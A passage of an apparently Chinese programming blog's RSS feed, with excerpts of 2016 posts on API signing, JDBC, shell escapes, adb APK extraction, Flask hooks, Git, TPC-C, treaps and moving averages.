      <description> 本人使用的是webstorm2016 2.3版本，结果竟然不支持vue文件，于是经过查找找到了一个方法，亲测可用，非常简单哦。 </description>
    </item>
    <item>
      <title>API接口鉴权及加密</title>
      <link>https://bchobby.github.io/posts/525f16fda2ba3393a89dc850f6cb83d9/</link>
      <pubDate>Wed, 14 Dec 2016 10:58:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/525f16fda2ba3393a89dc850f6cb83d9/</guid>
      <description>前言 在为移动端做API接口时，Java服务器端对接口一般需要做两种处理。&#xA;1.对请求的接口在interceptor 做authorize鉴权&#xA;2.对请求过来的参数进行加密校验，防止参数在传递过程中被篡改。&#xA;鉴权 鉴权方式我所使用的到的基本上目前有以下三种： 1.session&#xA;2.cookie&#xA;3.oauth2.0&#xA;对于这三种方式，以后细讲下。在此不再多说。&#xA;加密 对于传输过程中防止参数被篡改，可以使用HTTPS来有效的增强安全性。&#xA;对于重要的数据传输，除了需要https来认证，还需要对传入参数进行加密解密的校验，达到双层保证。&#xA;一般处理思路：&#xA;将传入参数组合成字符串，然后做加密，得到加密的token值；调用接口时，同时将此值传入。服务器拿到此值，根据对应的加密方式解密比对。&#xA;来验证传入值的完整性。&#xA;关于加密方式，这里不再赘述。可根据接口的重要程度来选择。&#xA;如哈希算法md5、对称加密的DES、非对称的RSA或者一些加盐加密。&#xA;以md5为例，使用Java的SortedMap，对请求参数进行MD5,并传入。&#xA;SortedMap&amp;lt;Object, Object&amp;gt; requestParams = new TreeMap&amp;lt;Object, Object&amp;gt;(); requestParams.put(&#34;version&#34;, &#34;1&#34;); requestParams.put(&#34;userName&#34;, &#34;123456&#34;); requestParams.put(&#34;password&#34;, &#34;123456&#34;); StringBuffer requestParamsStringBuffer = new StringBuffer(); System.out.println(&#34;排序之后的Key Value：&#34;); for (Map.Entry&amp;lt;Object, Object&amp;gt; entry : requestParams.entrySet()) { System.out.println(entry.getKey() + &#34; &#34; + entry.getValue()); requestParamsStringBuffer.append(entry.getKey() + &#34;&#34; + entry.getValue()); } System.out.println(requestParamsStringBuffer.toString()); String md5=&#34;&#34;; try { md5 = MD5.getMd5(requestParamsStringBuffer.toString()); } catch (NoSuchAlgorithmException e) { e.</description>
    </item>
    <item>
      <title>JDBC学习（三）</title>
      <link>https://bchobby.github.io/posts/fc40e604d7681834ddbc86ab8dba8135/</link>
      <pubDate>Tue, 13 Dec 2016 17:59:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc40e604d7681834ddbc86ab8dba8135/</guid>
      <description>JDBC学习（三）&#xA;在知道怎么完成与Mysql数据库链接操作和提交SQL到Mysql数据库以后，还需要知道怎么从Mysql数据库获取信息。&#xA;接口 ResultSet ResultSet 对象具有指向其当前数据行的光标。最初，光标被置于第一行之前。next 方法将光标移动到下一行；因为该方法在 ResultSet 对象没有下一行时返回 false，所以可以在 while 循环中使用它来迭代结果集。&#xA;SQL返回的表格信息按列表的形式被封装在ResultSet中。通过遍历可以将其获取。&#xA;//通过遍历ResultSet对象，获取表格信息。&#xA;public class Demo1 {&#xA;private static List&amp;lt;Book&amp;gt; listBook3()throws Exception{&#xA;List&amp;lt;Book&amp;gt; booklist = new ArrayList&amp;lt;Book&amp;gt;();&#xA;Connection con = DbUtil.getConnection();&#xA;System.out.println(&#34;获取链接成功....&#34;);&#xA;String sql=&#34;select *from t_book&#34;;&#xA;PreparedStatement pre = con.prepareStatement(sql);&#xA;System.out.println(&#34;获取SQL预编译对象成功.....&#34;);&#xA;ResultSet rs = pre.executeQuery();&#xA;System.out.println(&#34;获取数据库表ResultSet接口对象成功.....&#34;);&#xA;System.out.println(&#34;开始遍历....&#34;);&#xA;while(rs.next()){&#xA;int id = rs.getInt(&#34;id&#34;); String bookName = rs.getString(&#34;bookName&#34;);&#xA;float price = rs.getFloat(&#34;price&#34;);&#xA;String author = rs.getString(&#34;author&#34;);&#xA;int bookType = rs.getInt(&#34;bookTypeId&#34;);</description>
    </item>
    <item>
      <title>Shell转义字符与变量替换</title>
      <link>https://bchobby.github.io/posts/a5145b541df145792711d9fde477d452/</link>
      <pubDate>Sun, 11 Dec 2016 21:34:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5145b541df145792711d9fde477d452/</guid>
      <description>转义字符含义\\反斜杠\a警报，响铃\b退格（删除键）\f换页(FF)，将当前位置移到下页开头\n换行\r回车\t水平制表符（tab键） \v垂直制表符 vim test4.sh&#xA;#!/bin/bash v1=&#34;Spark&#34; v2=&#34;Scala&#34; echo -e &#34;First is $v1; \nSecond is $v2;&#34; # -e 表示对转义字符进行替换。 echo &#34;###############&#34; echo &#34;First is $v1; \nSecond is $v2;&#34; # 不使用 -e 选项，将会原样输出 echo &#34;-------------&#34; cmd=`df | grep Filesystem;date` # 将输出结果暂时保存 echo &#34;Cmd is $cmd&#34; $ sh test4.sh&#xA;First is Spark; Second is Scala;&#xA;###############&#xA;First is Spark; \nSecond is Scala;&#xA;-------------&#xA;Cmd is Filesystem 1K-blocks Used Available Use% Mounted on</description>
    </item>
    <item>
      <title>Android实战技巧之十八：adb取出安装在手机中的apk</title>
      <link>https://bchobby.github.io/posts/ca3e83d2aca40d32abf35ec7ac159e90/</link>
      <pubDate>Sun, 11 Dec 2016 19:29:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca3e83d2aca40d32abf35ec7ac159e90/</guid>
      <description>http://blog.csdn.net/lincyang/article/details/44418379&#xA;场景： 朋友看见你Android手机中的游戏或应用很好玩，也想装一个此程序，但限于网络条件不能从网上下载。那么最简单的办法就是直接从你手机中将此apk扣出来给他安装上。&#xA;pm命令 第一步，找到程序的包名 借助adb shell pm命令，将安装的所有应用包名列出来：&#xA;$ adb shell pm list packages package:android package:cn.wps.moffice package:com.android.backupconfirm package:com.android.bluetooth package:com.android.browser package:com.android.calculator2 package:com.android.camera package:com.android.certinstaller package:com.android.contacts 1234567891011 1234567891011 第二步，找到apk的位置&#xA;$ adb shell pm path com.tence01.mm package:/data/app/com.tence01.mm-1.apk 12 12 第三步，pull出来&#xA;$ adb pull /data/app/com.tence01.mm-1.apk ~/apks 2407 KB/s (25567735 bytes in 10.370s) 123 123 root的手机会更好办 $ adb shell shell@android:/ $ su shell@android:/ # cd data/app shell@android:/data/app # ls com.android.update.dmp-2.apk com.baidu.superservice-1.apk com.tence01.mm-1.apk com.tencent.mm-1.apk 123456789 123456789 或者直接搜索你要的apk：</description>
    </item>
    <item>
      <title>解决打开mysql.exe后闪退</title>
      <link>https://bchobby.github.io/posts/a27703bc84fc288e28d7f81a54cc323e/</link>
      <pubDate>Sun, 11 Dec 2016 09:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a27703bc84fc288e28d7f81a54cc323e/</guid>
      <description>打开cmd进入mysql所在盘，进入mysql文件夹，即输入cd mysql，再进入bin文件夹，即输入cd bin，最后输入mysql -uroot -proot ，如图所示：&#xA;我这样就解决闪退问题并成功进入mysql了。&#xA;另外，您也可以去http://www.wampserver.com/上下载wampserver，里面包含了Apache+Mysql+PHP，同样也可以使用mysql。</description>
    </item>
    <item>
      <title>Eclipse和Idea选中多行代码,同时右称，左移。</title>
      <link>https://bchobby.github.io/posts/79f52f27cb82c9eab0b759a5cb626cc9/</link>
      <pubDate>Sat, 10 Dec 2016 18:15:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79f52f27cb82c9eab0b759a5cb626cc9/</guid>
      <description> 首先选中同时代码，按tab键，右移，如果要左移,按shift+tab键。 </description>
    </item>
    <item>
      <title>用flask开发个人博客（15）—— flask中四种请求钩子</title>
      <link>https://bchobby.github.io/posts/dd6dfa3185363095172382e3ed0c70c7/</link>
      <pubDate>Sat, 10 Dec 2016 16:12:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd6dfa3185363095172382e3ed0c70c7/</guid>
      <description> 一 引言 flask中具有四种钩子被做成了修饰器,我们在后端可以进行调用做相关的操作.使用钩子函数时,我们需要借助flask的全局变量g.g作为中间变量,在钩子函数和视图函数中间传递数据.我们先引入全局变量g&#xA;from flask import g 然后注册一个视图函数,用来显示g中的数据&#xA;@app.route(&#39;/test&#39;) def test(): return g.string 二 before_first_request 注册一个函数,在处理第一个请求之前运行.&#xA;@app.before_first_request def bf_first_request(): g.string = &#39;before_first_request&#39; 运行程序,调用http://localhost:5000/test会显示g中传递的string变量 三 before_request 注册一个函数,在处理每次请求之前运行.&#xA;@app.before_request def bf_request(): g.string = &#39;before_request&#39; 四 after_request 注册一个函数,在每次请求之后运行.注册的函数至少需要含有一个参数,这个参数实际上为服务器的响应,且函数中需要返回这个响应参数.&#xA;@app.after_request def af_request(param): return param 五 teardown_request 注册一个函数,同样在每次请求之后运行.注册的函数至少需要含有一个参数,这个参数实际上为服务器的响应,且函数中需要返回这个响应参数.&#xA;@app.teardown_request def td_request(param): return param Github位置：&#xA;https://github.com/HymanLiuTS/flaskTs&#xA;克隆本项目： git clone git@github.com:HymanLiuTS/flaskTs.git 获取本文源代码： git checkout FL15 </description>
    </item>
    <item>
      <title>常用的Git命令</title>
      <link>https://bchobby.github.io/posts/cce2398ce6c06b7e92a33a311a366371/</link>
      <pubDate>Thu, 08 Dec 2016 16:59:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cce2398ce6c06b7e92a33a311a366371/</guid>
      <description>最近项目使用Git管理，本文记录常用的Git命令。&#xA;cd到存放源代码的目录&#xA;1. git clone ***** // clone源代码&#xA;2. git pull // 更新源代码&#xA;3. git status // 查看源文件的状态（是否增删改）&#xA;4. git add .(filename) // 将修改增加&#xA;5. git commit -m &#34;*****&#34; // 预提交文件的改动&#xA;6. git push // 提交&#xA;7. git branch // 查看git的分支&#xA;8. git checkout dev(test/master) // 切换git分支&#xA;9. git merge test // 将test中的变动merge到当前分支&#xA;10.git diff filename // 查看文件的修改内容&#xA;如何撤销对文件的修改等等更多操作，等用到的时候在去查。&#xA;使用命令，工作效率提高了不少。</description>
    </item>
    <item>
      <title>PLSQL Developer（安装、连接、汉化、注册图文教程）</title>
      <link>https://bchobby.github.io/posts/40a0d293136c193d4602c8b0120643a6/</link>
      <pubDate>Thu, 08 Dec 2016 13:20:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40a0d293136c193d4602c8b0120643a6/</guid>
      <description>PLSQL Developer（安装、连接、汉化、注册图文教程） 一、安装 PLSQL Developer ---版本11.0.5.1790（64bit） 1、解压oracle客户端 到 d盘某个目录。 2、安装PLSQL Developer 开发工具，点击plsqlev1105.exe,开始进入安装界面,点击Next。&#xA;3、同意协议，Next。&#xA;4、选择自己的安装目录，Next。&#xA;5、选择自己安装的版本，默认传统安装，Next。&#xA;6、Install，进入安装进程。&#xA;7、finish。&#xA;二、进入PLSQL Developer&#xA;1、输入已安装的oracle数据用户及密码，数据库选择ORACLE，Normal权限。&#xA;2、可以看到连接成功并且界面为英文版工具栏。&#xA;三、汉化PLSQL Developer&#xA;1、点击language_zh_x86_64.exe，开始汉化，确定。&#xA;2、自动检测安装目录，只需点击蓝色向右箭头图标，表示进入下一步。&#xA;3、默认，蓝色下一步。&#xA;4、默认，蓝色下一步。&#xA;4、完成汉化，点击右下勾图标。&#xA;5、进入界面，可以看见汉化成功。&#xA;四、注册PLSQL Developer 1、点击帮助，选择注册。 2、输入产品代号、序列号、密码，点注册。&#xA;3、注册成功。&#xA;4、点击关于查看软件信息，至此完成安装、连接oracle数据库、汉化和注册所有步骤。</description>
    </item>
    <item>
      <title>Docker 1.12 swarm模式下遇到的各种问题</title>
      <link>https://bchobby.github.io/posts/7d4c29fe25c60def34fb00c5304648ab/</link>
      <pubDate>Wed, 07 Dec 2016 19:54:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d4c29fe25c60def34fb00c5304648ab/</guid>
      <description> 这篇文章中说明存在的问题最新的版本中已经解决，但是推荐看下vip的概念，为啥replics&amp;gt;1的时候，各个容器能通过访问一个服务名实现负载均衡。http://tonybai.com/2016/10/11/some-problems-under-swarm-mode-in-docker-1-12/ </description>
    </item>
    <item>
      <title>c&#43;&#43; const</title>
      <link>https://bchobby.github.io/posts/85aa72ca590b3394f7186c2359ccb42f/</link>
      <pubDate>Wed, 07 Dec 2016 10:45:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85aa72ca590b3394f7186c2359ccb42f/</guid>
      <description>1.常量指针与指针常量 常量指针是针对于普通指针而言，语义在于指向常量的指针； 定义： const *&amp;lt;_name&amp;gt;; 常量指针解引用无法对引用值进行改变，但是可以改变指针自己的值； example: int tmp = 0, tmp2 = 1; const int *p = &amp;amp;tmp; p = &amp;amp;tmp2; // ok *p = 1;//error 指针常量语义指针本身为常量;解引用可以改变指向的值，但是不能改变指针本身的值： * const &amp;lt;_name&amp;gt;; example: int tmp = 0, tmp2 = 1; int* const p = &amp;amp;tmp; p = &amp;amp;tmp2; // error *p = 1;//ok typedef 与const 关于const有个地方特别容易出问题: 如下： typedef int* int_p; const int_p tmp; 这里的 tmp 到底是常量指针还是指针常量？一般的人会将typedef 直接替换那就理解为：const int_p tmp 与 const int* tmp相对应，其实这种理解是错的！！！ 这里定义其实是一个指针常量；解释如下： typedef的意义在于定义一个类型，也就是是int_p 并不是直接被int* 替换，const语义在于对于定义的类型为常量，所以这里语义上解释为指针常量，指针本身是常量。</description>
    </item>
    <item>
      <title>从ISE 无法启动modelsim</title>
      <link>https://bchobby.github.io/posts/68a795c60672bf050e6170bced8877e8/</link>
      <pubDate>Tue, 06 Dec 2016 10:53:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68a795c60672bf050e6170bced8877e8/</guid>
      <description>在ISE14.7 中双击启动modelsim仿真后，出现如下报错：&#xA;ERROR: Platform mismatch!&#xA;ERROR: Error(s) encountered while extracting pre-compiled simulation library information.&#xA;原因 ：当前工程是用32bit ISE14.7版本打开，而modelsim是64bit版本，版本不匹配导致；&#xA;解决方法 ：使用64bit 的ISE14.7 打开工程</description>
    </item>
    <item>
      <title>贪心算法解决tsp问题</title>
      <link>https://bchobby.github.io/posts/6160b14f333877bf0368e556cfa59c2d/</link>
      <pubDate>Mon, 05 Dec 2016 14:46:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6160b14f333877bf0368e556cfa59c2d/</guid>
      <description>贪心算法（又称贪婪算法）是指，在对 问题求解时，总是做出在当前看来是最好的选择。也就是说，不从整体最优上加以考虑，他所做出的是在某种意义上的局部 最优解。 所以不能保证最后结果是最优的,只能保证是比较优秀的,但是贪心算法的效率高. tsp 问题, 旅行商问题 ，即TSP问题（Travelling Salesman Problem）又译为旅行推销员问题、货郎担问题，是数学领域中著名问题之一。假设有一个旅行商人要拜访n个城市，他必须选择所要走的路径，路径的限制是每个城市只能拜访一次，而且最后要回到原来出发的城市。路径的选择目标是要求得的路径路程为所有路径之中的最小值。 简介完了,说下思路. 就是不考虑远方,只考虑下一步, &#34;今朝有酒今朝醉&#34; , 只有保证下一步是最近的距离即可 . 要找到最近的下一步,首先需要把已经出现过的城市排除 , s[]记录了访问过的城市列表,遍历这个列表,访问过返回YES,没访问返回NO. // 这个城市k是否出现过了 bool isShowed(int k) { for (int i = 0; i &amp;lt; cityNum ; i++) { if (s[i] == k) { return YES ; } } return NO; } 找了未访问的城市,还需要找出这些未访问城市中最短的距离. distance是一个二维数组,存放了 i, j 城市间的距离, distance [i][ s [currentCity]] 表示第i个城市 和 当前访问城市间的距离 .i 不断增加,遍历了所有的城市,就可以找到最短距离了. void clostCityDistance(int currentCity) { // 距离当前城市最近的下一个城市 int tempClosest = 9999; for (int i = 0; i &amp;lt; cityNum; i++) { if ( isShowed(i) == NO &amp;amp;&amp;amp; distance[i][s[currentCity]] &amp;lt;tempClosest ) { tempClosest = distance[i][s[currentCity]] ; s[currentCity+1] = i ; } } // 判断是否应该结束了, 如果s[]中有一个还是初始值-1的话,说明不该结束,继续寻找下一个城市.</description>
    </item>
    <item>
      <title>tpc系列(2)</title>
      <link>https://bchobby.github.io/posts/1e1bcb6d5efb553d935eeed0bd02c058/</link>
      <pubDate>Mon, 05 Dec 2016 13:31:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e1bcb6d5efb553d935eeed0bd02c058/</guid>
      <description>第一章 什么是TPC和tpmC? 1 TPC TPC(Transaction Processing Performance Council，事务处理性能委员会)是由数10家会员公司创建的非盈利组织，总部设在美国。该组织对全世界开放，但迄今为止，绝大多数会员都是美、日、西欧的大公司。TPC的成员主要是计算机软硬件厂家，而非计算机用户，它的功 能是制定商务应用基准程序(Benchmark)的标准规范、性能和价格度量，并管理测 试结果的发布。&#xA;TPC的出版物是开放的，可以通过网络获取(http://www.tpc.org)。TPC不给出基准程序的代码，而只给出基准程序的标准规范(Standard Specification)。任何厂家或其它测试者都可以根据规范，最优地构造出自己的系统(测试平台和测试程序)。为保证测试结果的客观性，被测试者(通常是厂家)必须提交给TPC一套完整的报告(Full Disclosure Report)，包括被测系统的详细配置、分类价格和包含五年维护费用在内的总价 格。该报告必须由TPC授权的审核员核实(TPC本身并不做审计)。现在全球只有几个审核员，全部在美国。&#xA;TPC已经推出了四套基准程序，被称为TPC－A、TPC－B、TPC－C和TPC－D。其中A和B已经过时，不再使用了。TPC－C是在线事务处理(OLTP)的基准程序，TPC－D是决策支持(Decision Support) 的基准程序。TPC即将推TPC－E，作为大型企业(Enterprise)信息服务的基准程序。&#xA;2 tpmC tpmC值在国内外被广 泛用于衡量计算机系统的事务处理能力。但究竟什么是tpmC值呢?作者曾向一些 用户、推销人员乃至某些国外大公司的技术人员问过这个问题，但回答的精确度 与tpmC值的流行程度远非相称。tpmC这一度量也常被误写为TPM或TPMC。&#xA;TPC-C模拟一个批发商的货物管理环境。该批发公司有N个仓库，每个仓库供应10个地区，其中每个地区为3000名顾客服务。在每个仓库中有10个终端，每一个终端用于一个地区。在运行时，10×N个终端操作员向公司的数据库发出5类请求。由于一个仓库中不可能存储公司所有的货物，有一些请求必须发往其它仓库，因此，数据库在逻辑上是 分布的。N是一个可变参数，测试者可以随意改变N，以获得最佳测试效果。&#xA;TPC-C使用三种性能和价格度量，其中性能由TPC-C吞吐率衡量，单位是tpmC。tpm是transactions per minute的简称；C指TPC中的C基准程序。它的定义是每分钟内系统处理的新订单个数。要注意的是，在处理新订单的同时，系统还要按表1的要求处理其它4类事务 请求。从表1可以看出，新订单请求不可能超出全部事务请求的45％，因此，当一个 系统的性能为1000tpmC时，它每分钟实际处理的请求数是2000多个。价格是指系 统的总价格，单位是美元，而价格性能比则定义为总价格÷性能，单位是＄/tpmC。&#xA;tpmC定义: TPC-C的吞吐量，按有效TPC-C配置期间每分钟处理的平均交易次数测量，至少要运行12分钟。&#xA;（吞吐量测试结果以比特/秒或字节/秒表示。）&#xA;第二章 TPCC 1 基准测试 TPCC值被广泛用于衡量C/S环境下,由服务器和客户端构筑的整体系统的性能,它由事物处理性能委员会（TPC，Transaction Processing Corp）制定,TPC为非赢利性国际组织。&#xA;TPCC值可以反映出系统的性能价格比。TPCC测试系统每分钟处理的任务数,单位为tpm,(transactions per minute)。系统的总体价格(单位为美元)除以TPCC值,就可以衡量出系统的性价比,系统的性价比值越大,系统的性价比越好。&#xA;需要注意的是,TPC-C值描述的是C/S整体系统的性能,它与系统的服务器和客户机的性能都有关系,也就是说,同样的服务器配置不同的客户端将会影响TPCC值,任何厂商和测试者都可以根据TPC提供的测试规范构造出自己最优的系统,当然测试的结果要经过TPC审核。&#xA;---------------------------------------------------------------------------------------------------------------&#xA;2 性能测试指标介绍 TPC-C&#xA;作为一家非盈利性机构，事务处理性能委员会（TPC）负责定义诸如TPC-C、TPC-H和TPC-W基准测试之类的事务处理与数据库性能基准测试，并依据这些基准测试项目发布客观性能数据。TPC基准测试采用极为严格的运行环境，并且必须在独立审计机构监督下进行。委员会成员包括大多数主要数据库产品厂商以及服务器硬件系统供应商。&#xA;相关企业参与TPC基准测试以期在规定运行环境中获得客观性能验证，并通过应用测试过程中所使用的技术开发出更加强健且更具伸缩性的软件产品及硬件设备。&#xA;TPC-C是一种旨在衡量联机事务处理（OLTP）系统性能与可伸缩性的行业标准基准测试项目。这种基准测试项目将对包括查询、更新及队列式小批量事务在内的广泛数据库功能进行测试。许多IT专业人员将TPC-C视为衡量“真实”OLTP系统性能的有效指示器。&#xA;TPC-C基准测试针对一种模拟订单录入与销售环境测量每分钟商业事务（tpmC）吞吐量。特别值得一提的是，它将专门测量系统在同时执行其它四种事务类型（如支付、订单状态更新、交付及证券级变更）时每分钟所生成的新增订单事务数量。独立审计机构将负责对基准测试结果进行公证，同时，TPC将出据一份全面彻底的测试报告。这份测试报告可以从TPC Web站点(http://www.tpc.org)上获得。&#xA;3 TPC-C规范概要 TPC-C是专门针对联机交易处理系统（OLTP系统）的，一般情况下我们也把这类系统称为业务处理系统。&#xA;TPC-C测试规范中模拟了一个比较复杂并具有代表意义的OLTP应用环境:假设有一个大型商品批发商，它拥有若干个分布在不同区域的商品库；每个仓库负责为10个销售点供货；每个销售点为3000个客户提供服务；每个客户平均一个订单有10项产品;所有订单中约1%的产品在其直接所属的仓库中没有存货，需要由其他区域的仓库来供货。&#xA;该系统需要处理的交易为以下几种：&#xA;New-Order：客户输入一笔新的订货交易；&#xA;Payment:更新客户账户余额以反映其支付状况;&#xA;Delivery:发货(模拟批处理交易);&#xA;Order-Status:查询客户最近交易的状态；&#xA;Stock-Level:查询仓库库存状况，以便能够及时补货。&#xA;对于前四种类型的交易，要求响应时间在5秒以内；对于库存状况查询交易，要求响应时间在20秒以内。&#xA;4评测指标 TPC-C测试规范经过两年的研制，于1992年7月发布。几乎所有在OLTP市场提供软硬件平台的厂商都发布了相应的TPC-C测试结果，随着计算机技术的不断发展，这些测试结果也在不断刷新。&#xA;TPC-C的测试结果主要有两个指标：</description>
    </item>
    <item>
      <title>Java基础 - 树堆（Treap = tree&#43;heap）</title>
      <link>https://bchobby.github.io/posts/1ab150d15ad8b7e69f4852f090d4795c/</link>
      <pubDate>Sun, 04 Dec 2016 00:43:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ab150d15ad8b7e69f4852f090d4795c/</guid>
      <description>Treap是用来排序(Sort)的一种数据结构(Data Structure)。 reap是随机查找二叉平衡树。 Treap发音为tree+ Heap。顾名思义， Treap把 BST和 Heap结合了起来。它和 BST一样满足许多优美的性质，而引入堆目的就是为了维护平衡。 Treap在 BST的基础上，添加了一个修正值。在满足 BST性质的上，Treap节点的修正值还满足最小堆性质。最小堆性质可以被描述为每个子树根节点都小于等于其子节点。 (1) Treap的特点 1. Treap简明易懂。Treap只有两种调整方式，左旋和右旋。而且即使没有严密的数学证明和分析，Treap的构造方法啊，平衡原理也是不难理解的。只要能够理解 BST和堆的思想，理解 Treap当然不在话下。 2. Treap易于编写。Treap只需维护一个满足堆序的修正值，修正值一经生成无需修改。相 比较其他各种平衡树， Treap拥有最少的调整方式，仅仅两种相互对称的旋转。所以 Treap当之无愧是最易于编码调试的一种平衡树。 3. Treap稳定性佳。Treap的平衡性虽不如 AVL，红黑树， SBT等平衡树，但是 Treap也不会退化，可以保证期望 O(logN)的深度。Treap的稳定性取决于随机数发生器。 4. Treap具有严密的数学证明。Treap期望 O(logN)的深度，是有严密的数学证明的。但这不是介绍的重点，大多略去。 5. Treap具有良好的实践效果。各种实际应用中， Treap的稳定性表现得相当出色，没有因为任何的构造出的数据而退化。于是在信息学竞赛中，不少选手习惯于使用 Treap，均取得了不俗的表现。 一棵treap是一棵修改了结点顺序的二叉查找树，如图，显示一个例子，通常树内的每个结点x都有一个关键字值key[x]，另外，还要为结点分配priority[x]，它是一个独立选取的随机数。&#xA;假设所有的优先级是不同的，所有的关键字也是不同的。treap的结点排列成让关键字遵循二叉查找树性质，并且优先级(有的地方也叫修正值，是一个随机数)遵循最小堆顺序性质： 1.如果left是u的左孩子，则key[left] &amp;lt; key[u]. 2.如果right是u的右孩子，则key[right] &amp;gt; key[u]. 3.如果child是u的孩子，则priority[child] &amp;gt; priority[u].&#xA;4.如果priority[vi] &amp;lt; priority[vj].则vi相对于vj而言更接近根节点。&#xA;这两个性质的结合就是为什么这种树被称为“treap”的原因，因为它同时具有二叉查找树和堆的特征。（在关键字上它满足二叉排序树，在优先级上他满足小顶堆）。&#xA;用以下方式考虑treap会有帮助。假设插入关联关键字的结点x1，x2，...，xn到一棵treap内。结果的treap是将这些结点以它们的优先级(随机选取)的顺序插入一棵正常的二叉查找树形成的，亦即priority[xi] &amp;lt; priority[xj]表示xi在xj之前被插入。&#xA;在算法导论的12.4节中，其证明了随机构造的二叉查找树的期望高度为O(lgn)，因而treap的期望高度亦是O(lgn)。&#xA;1.treap插入操作：&#xA;1.按照二叉树的插入方法，将结点插入到树中&#xA;2.根据堆的性质(我们这里为最小堆)和优先级的大小调整结点位置。&#xA;2.treap删除操作：&#xA;1.找到相应的结点&#xA;2.若该结点为叶子结点，则直接删除；&#xA;若该结点为只包含一个叶子结点的结点，则将其叶子结点赋值给它；&#xA;若该结点为其他情况下的节点，则进行相应的旋转，直到该结点为上述情况之一，然后进行删除。&#xA;3、如何使treap平衡 Treap中的节点不仅满足BST的性质，还满足最小堆的性质。因此需要通过旋转来调整二叉树的结构，在维护Treap的旋转操作有两种：左旋和右旋，（注意：无论怎么旋转二叉查找树的性质是不能改变的） 4.查找 和一般的二叉搜索树一样，但是由于Treap的随机化结构，可以证明Treap中查找的期望复杂度是O(log n)。 5.分离 要把一个Treap按大小分成两个Treap，只要在需要分开的位置加一个虚拟节点，然后旋至根节点删除，左右两个子树就是得出的两个Treap了。根据二叉搜索树的性质，这时左子树的所有节点都小于右子树的节点。时间相当于一次插入操作的复杂度，也就是O(log n)。</description>
    </item>
    <item>
      <title>移动平均法又称滑动平均法、滑动平均模型法（Moving average，MA）</title>
      <link>https://bchobby.github.io/posts/401df69ceef834b3d9adfe863227779c/</link>
      <pubDate>Wed, 30 Nov 2016 10:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/401df69ceef834b3d9adfe863227779c/</guid>
      <description>转自http://jingji.100xuexi.com/view/otdetail/20130625/230f09b0-6e36-473b-8830-7f2b873a5252.html&#xA;什么是移动平均法?&#xA;移动平均法是用一组最近的实际数据值来预测未来一期或几期内公司产品的需求量、公司产能等的一种常用方法。移动平均法适用于即期预测。当产品需求既不快速增长也不快速下降，且不存在季节性因素时，移动平均法能有效地消除预测中的随机波动，是非常有用的。移动平均法根据预测时使用的各元素的权重不同&#xA;移动平均法是一种简单平滑预测技术，它的基本思想是：根据时间序列资料、逐项推移，依次计算包含一定项数的序时平均值，以反映长期趋势的方法。因此，当时间序列的数值由于受周期变动和随机波动的影响，起伏较大，不易显示出事件的发展趋势时，使用移动平均法可以消除这些因素的影响，显示出事件的发展方向与趋势（即趋势线），然后依趋势线分析预测序列的长期趋势。&#xA;移动平均法的种类&#xA;移动平均法可以分为：简单移动平均和加权移动平均。&#xA;一、简单移动平均法&#xA;简单移动平均的各元素的权重都相等。简单的移动平均的计算公式如下： Ft＝（At-1＋At-2＋At-3＋…＋At-n）/n式中，&#xA;·Ft–对下一期的预测值；&#xA;·n–移动平均的时期个数；&#xA;·At-1–前期实际值；&#xA;·At-2，At-3和At-n分别表示前两期、前三期直至前n期的实际值。 二、加权移动平均法&#xA;加权移动平均给固定跨越期限内的每个变量值以不同的权重。其原理是：历史各期产品需求的数据信息对预测未来期内的需求量的作用是不一样的。除了以n为周期的周期性变化外，远离目标期的变量值的影响力相对较低，故应给予较低的权重。加权移动平均法的计算公式如下：&#xA;Ft＝w1At-1＋w2At-2＋w3At-3＋…＋wnAt-n式中，&#xA;·w1–第t-1期实际销售额的权重；&#xA;·w2–第t-2期实际销售额的权重；&#xA;·wn–第t-n期实际销售额的权&#xA;·n–预测的时期数；w1＋ w2＋…＋ wn＝1&#xA;在运用加权平均法时，权重的选择是一个应该注意的问题。经验法和试算法是选择权重的最简单的方法。一般而言，最近期的数据最能预示未来的情况，因而权重应大些。例如，根据前一个月的利润和生产能力比起根据前几个月能更好的估测下个月的利润和生产能力。但是，如果数据是季节性的，则权重也应是季节性的。&#xA;移动平均法的优缺点&#xA;使用移动平均法进行预测能平滑掉需求的突然波动对预测结果的影响。但移动平均法运用时也存在着如下问题：&#xA;1、加大移动平均法的期数（即加大n值）会使平滑波动效果更好，但会使预测值对数据实际变动更不敏感；&#xA;2、移动平均值并不能总是很好地反映出趋势。由于是平均值，预测值总是停留在过去的水平上而无法预计会导致将来更高或更低的波动；&#xA;3、移动平均法要由大量的过去数据的记录。&#xA;移动平均法案例分析 简单移动平均法在房地产中的运用 某类房地产2001年各月的价格如下表中第二列所示。由于各月的价格受某些不确定因素的影响，时高时低，变动较大。如果不予分析，不易显现其发展趋势。如果把每几个月的价格加起来计算其移动平均数，建立一个移动平均数时间序列，就可以从平滑的发展趋势中明显地看出其发展变动的方向和程度，进而可以预测未来的价格。&#xA;在计算移动平均数时，每次应采用几个月来计算，需要根据时间序列的序数和变动周期来决定。如果序数多，变动周期长，则可以采用每6个月甚至每12个月来计算；反之，可以采用每2个月或每5个月来计算。对本例房地产2001年的价格，采用每5个月的实际值计算其移动平均数。计算方法是：把1～5月的价格加起来除以5得684元/平方米，把2～6月的价格加起来除以5得694元/平方米，把3～7月的价格加起来除以5得704元/平方米，依此类推，见表中第三列。再根据每5个月的移动平均数计算其逐月的上涨额，见表中第四列。 假如需要预测该类房地产2002年1月的价格，则计算方法如下：由于最后一个移动平均数762与2002年1月相差3个月，所以预测该类房地产2002年1月的价格为：762 ＋ 12 × 3 =798（元/平方米）</description>
    </item>
    <item>
      <title>writeValueAsString</title>
      <link>https://bchobby.github.io/posts/3f1ab1295eebc8ad0a1af1b5adcf3d63/</link>
